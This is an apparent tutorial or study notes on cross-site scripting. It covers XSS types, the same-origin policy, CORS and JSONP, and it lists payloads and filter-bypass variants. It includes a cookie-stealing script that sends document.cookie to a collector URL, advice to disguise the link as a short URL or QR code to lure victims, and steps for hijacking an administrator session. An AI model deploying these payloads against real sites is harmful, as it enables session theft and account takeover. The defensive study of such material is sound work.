XSS cross-site scripting attack

XSS cross-site scripting attack

  • Cross-site scripting attack, the vulnerability occurs on the user side, which means that unexpected JavaScript code execution occurs during the rendering process. Used to obtain cookies and operate as an attacker.

– Reason

- The program does not properly process the input and output, causing the characters constructed by the attacker to be output to the front end and interpreted as valid code by the browser, thus causing harm.

XSS Platform

xss.yt/

– Classification

- Reflected XSS
    - Definition: Does not exist in the database, appears on the query page. The attack is a one-time attack on the victim. When the victim clicks on a script URL containing malicious JavaScript, the malicious code is not saved on the target website, and the web application just "reflects" the malicious script back to the victim's browser without processing it. And cause the victim's browser to execute the corresponding script
    - If the malicious parameters in the URL address are directly output to the page, causing the attack code to be triggered, it is called reflected XSS.
    - Common injection points: website search bar, user login portal, input form, etc. Commonly used to steal client cookies or phishing deception.
    - Attack steps
        - Send URLs with malicious script code parameters to users
        - User clicks the link
        - The server side obtains the request parameters and uses them directly, and the server reflects back the result page
    - DNSlog assists in obtaining cookies
        - <script src="http://127.0.0.1/xss/UYxzH8?1608472710/" + document.cookie; >< /script>(http://127.0.0.1/xss/UYxzH8?1608472710/ for the author locally XSS platform built)
        - Then construct a fake URL such as the following to induce the victim user to click:
        - http://xxx/xx?abc=< script src="http://127.0.0.1/xss/UYxzH8?1608472710/" + document.cookie; >< /script> can be forged into short links and QR codes
        - The victim's cookie can be obtained simply by looking at the logs after the user clicks.
    -
- Stored XSS
    - XSS code attackers store in the server, and users will be attacked when they visit websites with stored XSS code
    - %LOCAL_FILE%7tudCDaEW_TaQA9sLIy-z6WJ8gqaQO5OHTlJmsLa1CGlt0TExwj5zPjzyvTchUTmU0RaSGwEIT4YcEAO4vt5J9_nPyd8LlXEwP-T3WZ_W6wXRgPltjuhZd8DP_c_Ugul.png
    - Attack process
        - Hackers construct XSS malicious scripts on the target server and save them in the database
        - The user visited the target server while logged in to the website and viewed the page containing malicious scripts.
        - The website returns XSS to the user's browser as a normal page
        - The user's browser parses the XSS malicious code in the web page and initiates a request to the malicious server
        - Hackers obtain user-submitted information from malicious servers they built
    - Get cookie process
        - Open the target website and conduct XSS testing
        - Submit XSS code for testing at the input location
        - Obtain the exploit code on the XSS platform and submit the code to the vulnerability
        - When the administrator logs in, access the vulnerable area
        - The attacker obtains cookies and modifies his own cookie information into the administrator's cookie information obtained by the XSS platform
- DOM XSS
    - Principle: Utilize the script execution capability of the client to execute malicious script code by modifying or tampering with the DOM structure of the page. Based on DOM parsing
    - DOM type XSS is caused by the execution of malicious code in the JS code loading URL in the page; it is a vulnerability triggered by the browser itself, not caused by the back-end server returning malicious code.
    - Commonly used DOM statements:
        - document.cookie reads the cookie of the current web page [required for xss]
        - document.lastModified obtains the last modification time of the current page [essential for identifying pseudo-static]
        - document.write writes HTML or JS code into the document [common way of existence of Dom xss]
    - Get cookie process
        -Look for document.write
        -Construct the xss generation in it
        - perform bypass
        - xss platform to obtain information
    -
- Blind XSS
    - Blind XSS is a type of stored XSS that is stored in some storage, executed when a "victim" accesses the page, and renders the payload in the Document Object Model (DOM). The reason it's called Blind is because it usually happens with functionality that's not normally exposed to the user

– Hazard

- The user's cookie is obtained, which may contain sensitive information such as Session ID. If there is no corresponding protection on the server side, the attacker can use the corresponding cookie to log in to the server.
- The attacker can record the user's keyboard input within certain limits
- Attackers perform dangerous operations as users through CSRF and other methods.
- XSS worm
- Get user browser information.
- Use XSS vulnerabilities to scan user intranets.

– Same origin policy

- The same-origin policy restricts how resources interact between different sources and is an important security mechanism for isolating potentially malicious files. Whether they have the same origin is determined by the URL, which consists of protocol, domain name, port and path. If the protocol, domain name and port of two URLs are the same, it means they have the same origin.

– file domain same origin policy

 - The URLs of any two file fields are considered to have the same origin. Only when the parent directory of the source file is the ancestor directory of the target file, the file can read another file.

– cookie origin policy

 - The browser allows the given domain and any subdomains to access the cookie, regardless of the protocol or port number used. When setting a cookie, you can limit its accessibility using the domain/path/secure and http-only tags.

– Flash/SilverLight cross-domain

 - Various browser plug-ins also have cross-domain requirements. Usually, crossdomain.xml is configured on the server to set which domain names the service allows for cross-domain access.
    - The client will request this file. If it finds that its domain name is in the access list, it will initiate a real request, otherwise it will not send the request.

– Source changes

 - The same-origin policy considers the domain and from to belong to different domains
    - Such as: child1.a.com and a.com,
    - child1.a.com and child2.a.com,
    - xxx.child1.a.com and child1.a.com
    - If the two sources are from different sources, you can set document.domain='a.com', and the browser will think that they are all from the same source. To achieve communication between any two pages above, both pages must set document.damain='a.com'.
    - Features of this method:
        - It can only be used between the parent domain name and the child domain name, and after setting the xxx.child1.a.com domain name to a.com, it cannot be set to child1.a.com again.
        - There are security issues. When one site is attacked, another site will cause a security vulnerability.
        - This method only works for Cookie and iframe windows
        - Because browsers store port numbers separately, this assignment will cause the port number to be overwritten to null .

– Cross-origin access

 - Browser interception of cross-domain requests
        - %LOCAL_FILE%l5ABrVPtxxQ8f2qeyIm_iw1dB-HPXfJs82tZmVrAM-fCu6YirRz6MdH60zAizHzzEqXhqj8yREEPh93fjHM5vvcchSkMze1PYDEqBdBwCvth-8WZ2M4IdkWKLTpXRUiK.png
        - JSONP: It appeared early and has good compatibility (compatible with lower versions of IE). It is a temporary solution that front-end programmers are forced to come up with in order to solve cross-domain problems. The disadvantage is that it only supports GET requests and does not support POST requests.
        - CORS: Appeared later, it is a W3C standard and is the fundamental solution for cross-domain AJAX requests. Supports GET and POST requests. The disadvantage is that it is not compatible with some lower version browsers.
        - Nginx reverse proxy: The same-origin policy imposes no restrictions on the server and is the simplest cross-domain method. You only need to modify the configuration of nginx to solve cross-domain problems. It supports all browsers and sessions, does not need to modify any code, and will not affect server performance.
    - The same origin policy controls interactions between different origins. These interactions are usually divided into three categories
        - Cross-origin write operations: links, redirects, form submissions, generally allowed
        - Cross-origin resource embedding: generally allowed
        - Cross-source read operations: Generally not allowed, read access can be cleverly performed through embedded resources
    - Possible embedding of cross-origin resource examples
        - The <script src="..."></script> tag embeds cross-domain scripts. Syntax error messages can only be caught in originating scripts.
        - <link rel="stylesheet" href="..."> tags embed CSS. Due to the loose syntax rules of CSS, cross-domain CSS requires a properly set Content-Type header.
        - <img> / <video> / <audio> embed multimedia resources.
        - Plugins for <object> <embed> and <applet>.
        - Fonts introduced by @font-face. Some browsers allow cross-origin fonts, and some require same-origin fonts.
        - Any resources loaded by <frame> and <iframe>. Sites can use the X-Frame-Options header to prevent this form of cross-domain interaction.
    - JSONP cross-domain
        - Principle
            - Define a callback function in advance for obtaining cross-domain response data, and initiate a request through a script tag without origin policy restrictions (put the name of the callback function in the query parameter of the request), and then the server returns this callback Execute the function and put the data that needs to be responded to in the parameters of the callback function. The front-end script tag will execute it immediately after requesting the executed callback function, so the response data of the execution is obtained.
        - shortcoming
            - It only supports **GET** requests and does not support other types of HTTP requests such as POST
            - It only supports cross-domain HTTP requests and cannot solve the problem of how to make JavaScript calls between two pages in different domains.
        - Application process
            - Set a script tag <script src="http://jsonp.js?callback=cb"> </script>
            - callback defines a function name, and the remote server passes parameters by calling the specified function and passing in parameters, and passes the function (response) back to the client.
            - The client receives the returned JS script and starts parsing and executing the function (response)
                - router.get('/', function (req, res, next) {
                    - (() => {
                        - const data = {
                            - x: 10
                        - };
                        - let params = req.query;
                        - if (params.callback) {
                            - let callback = params.callback;
                            - console.log(params.callback);
                            - res.send(${callback}(${JSON.stringify(data.x)}));
                        - } else {
                            - res.send('err');
                        - }
                    - })();
                - });
        - For example, if you request http://abc.com?callback=<script>alert(1)</script>, it will return <script>alert(1)</script>({ data }). If it is not strictly defined Good Content-Type (Content-Type: application/json), coupled with the fact that the callback parameter is not filtered, it is parsed directly as HTML, which is a naked XSS.

– Cross-origin API access

 - Javascript APIs such as iframe.contentWindow, window.parent, window.open and window.opener allow documents to reference each other. These referencing methods will add restrictions on access to the window and location objects when the sources of the two documents are different.
        - window allows cross-origin access methods:
            - window.blur
            - window.close
            - window.focus
            - window.postMessage
        - The properties of window that allow cross-origin access are
            - window.closed
            - window.frames
            -window.length
            - window.location
            - window.opener
            - window.parent
            - window.self
            - window.top
            - window.window
        - Where window.location allows reading/writing, other properties only allow reading

– CORS

 - CORS is a W3C standard, its full name is Cross-origin resource sharing. Through this standard, browsers can be allowed to read cross-domain resources.
    - Common request headers
        -Origin
            - The origin URI of the preflight request or actual request, this field will be sent by default in browser requests
            - Origin: <origin>
        - Access-Control-Request-Method
            - Declare the method used by the request
            - Access-Control-Request-Method: <method>
        - Access-Control-Request-Headers
            - Declare the header fields used in the request
            - Access-Control-Request-Headers: <field-name>[, <field-name>]*
    - Common return headers
        -Access-Control-Allow-Origin
            - Declare the source foreign domain URI that is allowed to access
            - Wildcards * cannot be used for requests carrying credentials
            - Access-Control-Allow-Origin: <origin> | *
        - Access-Control-Expose-Headers
            - Declare allowed exposed headers
            - e.g. Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header
        -Access-Control-Max-Age
            - Declare cache time
            - Access-Control-Max-Age: <delta-seconds>
        - Access-Control-Allow-Credentials
            - Declare whether to allow in requests
            - Access-Control-Allow-Credentials: true
        -Access-Control-Allow-Methods
            - Declare allowed access methods
            - Access-Control-Allow-Methods: <method>[, <method>]*
        - Access-Control-Allow-Headers
            - Declare allowed headers
            - Access-Control-Allow-Headers: <field-name>[, <field-name>]*

– payload

- Commonly used payloads
    - <script>alert(/xss/)</script>
    - <svg onload=alert(document.domain)>
    - <img src=document.domain onerror=alert(document.domain)>
    - <M onmouseover=alert(document.domain)>M
    - <marquee onscroll=alert(document.domain)>
    - <a href=javascript:alert(document.domain)>M</a>
    - <body onload=alert(document.domain)>
    - <details open ontoggle=alert(document.domain)>
    - <embed src=javascript:alert(document.domain)>
- Case bypass
    - <script>alert(1)</script>
    - <sCrIpT>alert(1)</sCrIpT>
    - <ScRiPt>alert(1)</ScRiPt>
    - <sCrIpT>alert(1)</ScRiPt>
    - <ScRiPt>alert(1)</sCrIpT>
    - <img src=1 onerror=alert(1)>
    - <iMg src=1 oNeRrOr=alert(1)>
    - <ImG src=1 OnErRoR=alert(1)>
    - <img src=1 onerror="alert( & amp;quot;M & amp;quot;)">
    - <marquee onscroll=alert(1)>
    - <mArQuEe OnScRoLl=alert(1)>
    - <MaRqUeE oNsCrOlL=alert(1)>
- Various alerts
    - <script>alert(1)</script>
    - <script>confirm(1)</script>
    - <script>prompt(1)</script>
    - <script>alert('1')</script>
    - <script>alert("1")</script>
    - <script>alert1</script>
    - <script>(alert)(1)</script>
    - <script>a=alert,a(1)</script>
    - <script>[1].find(alert)</script>
    - <script>top["al" + "ert"](1)</script>
    - <script>top["a" + "l" + "e" + "r" + "t"](1)</script>
    - <script>top[/al/.source + /ert/.source](1)</script>
    - <script>top[/a/.source + /l/.source + /e/.source + /r/.source + /t/.source](1)</script>
- Pseudo protocol
    - <a href=javascript:/0/,alert("M")>M</a>
    - <a href=javascript:/00/,alert("M")>M</a>
    - <a href=javascript:/000/,alert("M")>M</a>
    - <a href=javascript:/M/,alert("M")>M</a>
- Chrome XSS auditor bypass
    - ?param=https:// & amp;[email protected]/import rel=import>
    - <base href=javascript:/M/><a href=,alert(1)>M</a>
    - <base href=javascript:/M/><iframe src=,alert(1)></iframe>
- Length limit
- iframe
    - <iframe src=javascript:alert(1)></iframe>
    - <iframe src="data:text/html,<iframe src=javascript:alert('M')></iframe>"></iframe>
    - <iframe src=data:text/html;base64,PGlmcmFtZSBzcmM9amF2YXNjcmlwdDphbGVydCgiTWFubml4Iik + PC9pZnJhbWU + ></iframe>
    - <iframe srcdoc=<svg/o & amp;#x6E;load & amp;equals;alert & amp;lpar;1) & amp;gt;></iframe>
    - <iframe src=https://baidu.com width=1366 height=768></iframe>
    - <iframe src=javascript:alert(1) width=1366 height=768></iframe
- form
    - <form action=javascript:alert(1)><input type=submit>
    - <form><button formaction=javascript:alert(1)>M
    - <form><input formaction=javascript:alert(1) type=submit value=M>
    - <form><input formaction=javascript:alert(1) type=image value=M>
    - <form><input formaction=javascript:alert(1) type=image src=1>
-meta
    - <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">

– Persistence

- Storage based
- Service Worker
    - Service Worker can intercept http requests and play a role similar to a local proxy. Therefore, Service Worker can be used to hook some requests and return attack codes in the requests to achieve the purpose of persistent attacks.
    - In Chrome, you can view the status of Service Worker through chrome://inspect/#service-workers and stop it.
-AppCache